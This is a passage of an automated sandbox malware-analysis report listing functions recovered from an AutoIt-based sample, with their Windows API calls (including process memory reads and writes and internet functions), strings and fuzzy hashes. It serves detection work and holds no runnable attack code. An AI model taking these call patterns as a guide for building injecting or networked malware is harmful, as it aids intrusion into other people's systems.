Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID:
String ID: @U=u
API String ID: 0-2594219639
Opcode ID: 1660ef247541927ccf7141b7278fa3d02c7c5f3f0f606f62ad6112cb8b27a536
Instruction ID: de16be726e5d353980a3e668faf4f0e4b1613149dd44ef52f35258e29098fb63
Opcode Fuzzy Hash: 1660ef247541927ccf7141b7278fa3d02c7c5f3f0f606f62ad6112cb8b27a536
Instruction Fuzzy Hash: 2211E231120308BFEF16AF98CC01FF937A8EB05750F115995FA16AA0D0D2B0DA10EB30

Function 0038970B Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 67COMMON

Download Yara Rule

APIs

Part of subcall function 0033C619: CreateWindowExW.USER32(?,?,?,?,?,?,?,?,?,?,00000000,00000096), ref: 0033C657
Part of subcall function 0033C619: GetStockObject.GDI32(00000011), ref: 0033C66B
Part of subcall function 0033C619: SendMessageW.USER32(00000000,00000030,00000000), ref: 0033C675

GetWindowRect.USER32(00000000,?), ref: 00389775
GetSysColor.USER32(00000012), ref: 0038978F

Strings

static, xrefs: 00389752

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Window$ColorCreateMessageObjectRectSendStock
String ID: static
API String ID: 1983116058-2160076837
Opcode ID: 657cb95297d723c6d39445050981a67de60dc487904437bb69f7a0021ba1efb8
Instruction ID: 6ed1680a62fece25db4d4160893087e749ff74e00315c2a15a74d4cfd88957f3
Opcode Fuzzy Hash: 657cb95297d723c6d39445050981a67de60dc487904437bb69f7a0021ba1efb8
Instruction Fuzzy Hash: 5D116A72520209AFDB06EFB8DC45EFA7BB8EB49304F050569F956E3240D735E851DB50

Function 0038AFEE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,?,?,?), ref: 0038B03B

Strings

@U=u, xrefs: 0038B03B, 0038B077

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 8719e87d2d7cd01e28fc999b5c0396541ed2556a741d480aa2104ba61bc0e7df
Instruction ID: 781034fb6419cbccc3091567ceb9c4dd7e74bfd340bb8eb86a55e11a3ba52d60
Opcode Fuzzy Hash: 8719e87d2d7cd01e28fc999b5c0396541ed2556a741d480aa2104ba61bc0e7df
Instruction Fuzzy Hash: 6E21B3BA60021AEFCB1ADF94D840CEEBBB9FB4D340B014595FD16A7360D731A951DBA0

Function 003753F6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 61networkCOMMON

Download Yara Rule

APIs

InternetOpenW.WININET(?,00000000,00000000,00000000,00000000), ref: 0037544C
InternetSetOptionW.WININET(00000000,00000032,?,00000008), ref: 00375475

Strings

<local>, xrefs: 0037543D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Internet$OpenOption
String ID: <local>
API String ID: 942729171-4266983199
Opcode ID: 94447d67ec85f4035f12163e9ab05ca6816763eaa14020965b6d0bcafd85dc1d
Instruction ID: eae6587e31b2d8decb80c7bc9ab1867c1d0259da6173f32197a534a9d4d0ff7d
Opcode Fuzzy Hash: 94447d67ec85f4035f12163e9ab05ca6816763eaa14020965b6d0bcafd85dc1d
Instruction Fuzzy Hash: AF11A370141A21BADB3A8F528C84EFBFB6CFF16752F10C12AF54956440E3B85980C6F0

Function 003890BE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000401,?,00000000), ref: 00389134

Strings

button, xrefs: 0038910B
@U=u, xrefs: 00389134

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u$button
API String ID: 3850602802-1762282863
Opcode ID: a57a69fd72a7fcc0769772cf0d5696cddd0fa5a896e8d4b2efdaf9fe50ded556
Instruction ID: bea248213e3dd3ef356c41f6c05dfd98b97238f79ea67245aee741ae46e20867
Opcode Fuzzy Hash: a57a69fd72a7fcc0769772cf0d5696cddd0fa5a896e8d4b2efdaf9fe50ded556
Instruction Fuzzy Hash: 4D112532250205ABDF129F60DC45FFA376AFF18314F154515FA85A7290C276E8609B50

Function 0034B4BF Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017), ref: 00354557
___raise_securityfailure.LIBCMT ref: 0035463E

Strings

(>, xrefs: 00354639

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: FeaturePresentProcessor___raise_securityfailure
String ID: (>
API String ID: 3761405300-3184569772
Opcode ID: b467787117b54bece7dc220d95e51280d360247ac8a1dff3472f6482fcb1bd2f
Instruction ID: 3863188577ac5639bbf0f65d578fceb427b1f15b0919ec1bbca02a45f2ade450
Opcode Fuzzy Hash: b467787117b54bece7dc220d95e51280d360247ac8a1dff3472f6482fcb1bd2f
Instruction Fuzzy Hash: 6721F6B55017849AD32ADF65FED16517BB8BB88314F105A2AE5048E2E0E3F469C0CB85

Function 0038A395 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000133E,00000000,?), ref: 0038A3E1

Strings

@U=u, xrefs: 0038A3E1

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 3320c2ed87272f8dac591d0cba352f9891e3d0544a79657b5e40c8338b048fdc
Instruction ID: 9eb1231dea4ca106b1d7f20bc7eb14ebfb64e753130bc8a73f3da3ce778ac4c2
Opcode Fuzzy Hash: 3320c2ed87272f8dac591d0cba352f9891e3d0544a79657b5e40c8338b048fdc
Instruction Fuzzy Hash: 9A112230500B40AFEB22DF34C895AE7BBE9BF06300F10854EE8AB97381D7B06901DB61

Function 0035CC25 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53windowCOMMON

Download Yara Rule

APIs

Part of subcall function 00364D41: WriteProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0035C9FE,?,?,00000034,00000800,?,00000034), ref: 00364D6B

SendMessageW.USER32(?,0000102B,?,00000000), ref: 0035CC85
SendMessageW.USER32(?,0000102B,?,00000000), ref: 0035CCA8

Strings

@U=u, xrefs: 0035CC85, 0035CCA8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$MemoryProcessWrite
String ID: @U=u
API String ID: 1195347164-2594219639
Opcode ID: 0542bdeadbedc7ca6382a3521bc054796111a75b298956a907f6a74a8bcbb0c4
Instruction ID: de494c80c364094d5a64bd57a78fde145b4e4fdf5c4c10674d2beee90373c82a
Opcode Fuzzy Hash: 0542bdeadbedc7ca6382a3521bc054796111a75b298956a907f6a74a8bcbb0c4
Instruction Fuzzy Hash: 7C01FE71900214EFEB166F24EC86EEEBF7CDB14314F104126F9156B0D1DB705D55CA60

Function 0037ACD3 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 52networkCOMMON

Download Yara Rule

APIs

inet_addr.WS2_32(00000000), ref: 0037ACF5
htons.WS2_32(00000000), ref: 0037AD32

Strings

255.255.255.255, xrefs: 0037AD0D

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: htonsinet_addr
String ID: 255.255.255.255
API String ID: 3832099526-2422070025
Opcode ID: 459ac18f8c7098d024780bf6ab66fd2ac4cc504ce91cbbbc0cc61ed9eee8a3c9
Instruction ID: b1f6415bcf866f8977e239dd7765bd1d9431f72fd75f0ba89650bc9b73fa66bb
Opcode Fuzzy Hash: 459ac18f8c7098d024780bf6ab66fd2ac4cc504ce91cbbbc0cc61ed9eee8a3c9
Instruction Fuzzy Hash: FD014535200204ABCB329FA4CC56FADB368FF88720F10C416F91A9B6D1D735E800C752

Function 0036C4D4 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMON

Download Yara Rule

APIs

_memmove.LIBCMT ref: 0036C4EF
__fread_nolock.LIBCMT ref: 0036C504

Strings

EA06, xrefs: 0036C532

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __fread_nolock_memmove
String ID: EA06
API String ID: 1988441806-3962188686
Opcode ID: b9194e117a1858e48260c8ccd4c10b6e110f8b841eb3b91a0f923b39adc0a6ac
Instruction ID: ba7fd5cd837732f71e4d92c4bede4d9f40416578abcc72d856812a84bf780e22
Opcode Fuzzy Hash: b9194e117a1858e48260c8ccd4c10b6e110f8b841eb3b91a0f923b39adc0a6ac
Instruction Fuzzy Hash: 3501F9729002586EDF19D799CC56FFE7BF89B05311F00415AE193D6181E574A7088B60

Function 0035CD4F Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000406,00000000,00000000), ref: 0035CD75
SendMessageW.USER32(?,0000040D,?,00000000), ref: 0035CDA8

Part of subcall function 00364D0C: ReadProcessMemory.KERNEL32(?,?,?,00000000,00000000,00000000,?,0035CA2D,?,?,00000800,?,00001073,00000000,?,?), ref: 00364D36

Part of subcall function 00327E53: _memmove.LIBCMT ref: 00327EB9

Strings

@U=u, xrefs: 0035CD75, 0035CDA8

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend$MemoryProcessRead_memmove
String ID: @U=u
API String ID: 339422723-2594219639
Opcode ID: 9fc658233bbfe312f0b399d959bd2f0a95dc68991c547184248eb6e8773efa90
Instruction ID: bbd584878e11b825fc8d0225c1c2591f59174f8ad8b1b78e45def1ef77622fc3
Opcode Fuzzy Hash: 9fc658233bbfe312f0b399d959bd2f0a95dc68991c547184248eb6e8773efa90
Instruction Fuzzy Hash: ED012D71800128EFDB56AF54DC91EDA7BBCFB14344F50C0A5F94AAB151DE305E89CBA0

Function 0035CCB6 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 35windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00001004,00000000,00000000), ref: 0035CCC6
SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 0035CCDE

Strings

@U=u, xrefs: 0035CCC6, 0035CCDE

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 336a1bdca20676d2c107fe716d99d81b1f243d0eeb4f2b2d6622e10bdaa6e873
Instruction ID: 0e3c12487f2d3a47b1f898b09abeb253233f6861d83f972c1baa7544d73565f2
Opcode Fuzzy Hash: 336a1bdca20676d2c107fe716d99d81b1f243d0eeb4f2b2d6622e10bdaa6e873
Instruction Fuzzy Hash: BEE022313A13227EF2321A118D4AFC72E0DCB89B16F121025FF0AAE0F5CED24C4782A0

Function 0035D451 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 34windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000110A,00000009,00000000), ref: 0035D463
SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 0035D493

Strings

@U=u, xrefs: 0035D463, 0035D493

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 3954ffb072e9391a558d0ac30298837edaacebe9715bd13432a72223165cdeb7
Instruction ID: 8dfcf6a99e77008e05b5771bb73a319d8f50a39f8329d90a9c57f54c030d4ce1
Opcode Fuzzy Hash: 3954ffb072e9391a558d0ac30298837edaacebe9715bd13432a72223165cdeb7
Instruction Fuzzy Hash: 54F0A0B1240304BBEA276E81EC46FE67B1DEB05BA6F104015FB051E1F0DAF26C009760

Function 0035D5CE Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30windowCOMMON

Download Yara Rule

APIs

Part of subcall function 0035D0D4: SendMessageW.USER32(?,0000110A,00000000,00000000), ref: 0035D0ED
Part of subcall function 0035D0D4: SendMessageW.USER32(?,0000110A,00000004,00000000), ref: 0035D127

SendMessageW.USER32(?,0000110B,00000005,00000000), ref: 0035D5F2
SendMessageW.USER32(?,0000110B,00000009,00000000), ref: 0035D602

Strings

@U=u, xrefs: 0035D5F2, 0035D602

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: MessageSend
String ID: @U=u
API String ID: 3850602802-2594219639
Opcode ID: 6ca9608a7530a62a9b58867cde77e12bd7b49028cb827097e5bc1a63e4ff5e1f
Instruction ID: fb7896102cbc1725bdd55ffd7052adb617960ae4782f2b0791a9874b9f2546d8
Opcode Fuzzy Hash: 6ca9608a7530a62a9b58867cde77e12bd7b49028cb827097e5bc1a63e4ff5e1f
Instruction Fuzzy Hash: 86E0D8752083057FF6271A61AC4BE977B1CDB49716F114025FB00461B0EEA38C145524

Function 0036804C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 28COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 0036806A
_wcscmp.LIBCMT ref: 0036807C

Strings

#32770, xrefs: 00368076

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: ClassName_wcscmp
String ID: #32770
API String ID: 2292705959-463685578
Opcode ID: 7ad82c35009b76571b23d31ddbb8f518b46239e03639fd78aa5ee5569b38e47c
Instruction ID: 7dda131a7fcb228df51b9404e41a105d19b430474258ba8d7c4b3e2a25ab49f3
Opcode Fuzzy Hash: 7ad82c35009b76571b23d31ddbb8f518b46239e03639fd78aa5ee5569b38e47c
Instruction Fuzzy Hash: 5AE0D83360022927D722EBA6AC4AED7FBACEB51764F000126F914E7181D6B0EA4587D0

Function 0034DA03 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 27COMMONLIBRARYCODE

Download Yara Rule

APIs

__umatherr.LIBCMT ref: 0034DA2A

Part of subcall function 0034DD86: __ctrlfp.LIBCMT ref: 0034DDE5

__ctrlfp.LIBCMT ref: 0034DA47

Strings

xn9, xrefs: 0034DA3E, 0034DA0F

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: __ctrlfp$__umatherr
String ID: xn9
API String ID: 219961500-30944987
Opcode ID: 85d09d59ceaf79cccec7b47b43fcecb30600b4e5cbee1471dcf2a70782593f99
Instruction ID: c27a303e60ab6feb932046594151af27b0338c6f70bd1433fcfcc15d9dd510ba
Opcode Fuzzy Hash: 85d09d59ceaf79cccec7b47b43fcecb30600b4e5cbee1471dcf2a70782593f99
Instruction Fuzzy Hash: 7BE06D7140860AEADB027F80F9066AA7BE5EF05310F804495F99C1C1A6DFB294B49757

Function 0035B35D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 22windowCOMMON

Download Yara Rule

APIs

MessageBoxW.USER32(00000000,Error allocating memory.,AutoIt,00000010), ref: 0035B36B

Part of subcall function 00342011: _doexit.LIBCMT ref: 0034201B

Strings

AutoIt, xrefs: 0035B35F
Error allocating memory., xrefs: 0035B364

Memory Dump Source

Source File: 00000003.00000002.2613829583.0000000000321000.00000040.00000001.01000000.00000003.sdmp, Offset: 00320000, based on PE: true

Associated: 00000003.00000002.2613783766.0000000000320000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003DA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.00000000003FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2613829583.0000000000485000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614180276.000000000048B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000003.00000002.2614226844.000000000048C000.00000004.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_320000_MSI4976.jbxd

Similarity

API ID: Message_doexit
String ID: AutoIt$Error allocating memory.
API String ID: 1993061046-4017498283
Opcode ID: e1187d80f671c3d5ffa6ea0e07451fc50c0d65e3052ce1ed4a460bbb29a847ea
Instruction ID: ac7832d2a7df876b30d7dab685938a59313e96f9e1bca2180ca1cf2f8978fcb1
